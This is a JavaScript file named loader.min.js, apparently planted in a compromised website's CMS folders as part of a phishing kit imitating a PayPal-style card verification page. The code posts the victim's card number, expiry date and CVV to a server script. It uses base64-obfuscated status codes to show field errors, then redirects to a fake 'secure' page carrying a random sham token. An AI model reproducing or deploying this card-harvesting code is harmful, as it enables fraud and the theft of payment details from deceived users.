File: /home/iestorre/musica222/layouts/libraries/cms/kjhnbg/a7a1fc/en/js/loader.min.js
$("#FORM").validate({
submitHandler: function(form) {
$.post("System/CheckCardInfo.php", $("#FORM").serialize(), function(GET) {
if(GET == "Q2FyZE51bWJlck5vdFZhbGlk"){
setTimeout(function(){
document.getElementById("CardNumberID").className="textInput ccNumber ccNumber ccNum lap hasError";
document.getElementById("cardLogo").className = "fiModule-icon_card hide";
document.getElementById("loding").className = "hasSpinner hide";
document.getElementById("MSGError").className = "twbs_alert vx_alert vx_alert-critical js_alertMsg";
})
}else{
if(GET == "Q2FyZE51bWJlckRhdGFFWFBpc0ZBQ0tJTkdFUlJPUkNoZWNreW9ydmFsaWREYXRh"){
setTimeout(function(){
document.getElementById("CardExpID").className = "textInput expirationDate js_expirationDate expirationDate expirationDate lap hasError";
document.getElementById("loding").className = "hasSpinner hide";
})
}else{
if(GET == "R09UT0NIRUNLdmFsaWRGdWNraW5nQ3ZWTnVtYmVyVGhpc0NPZGVCeURSYURORU4="){
setTimeout(function(){
document.getElementById("CardcvvID").className = "textInput csc pull-right csc securityCode lap hasError";
document.getElementById("loding").className = "hasSpinner hide";
})
}else{
setTimeout(function(){
window.location.assign("season_secure.php?cmd=_vbrestore_ontart&_Acess_Tooken="+makeid());
})
}
}
}
});
///////////////////////////////////////////////////////////
},
});
function makeid()
{
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < 50; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}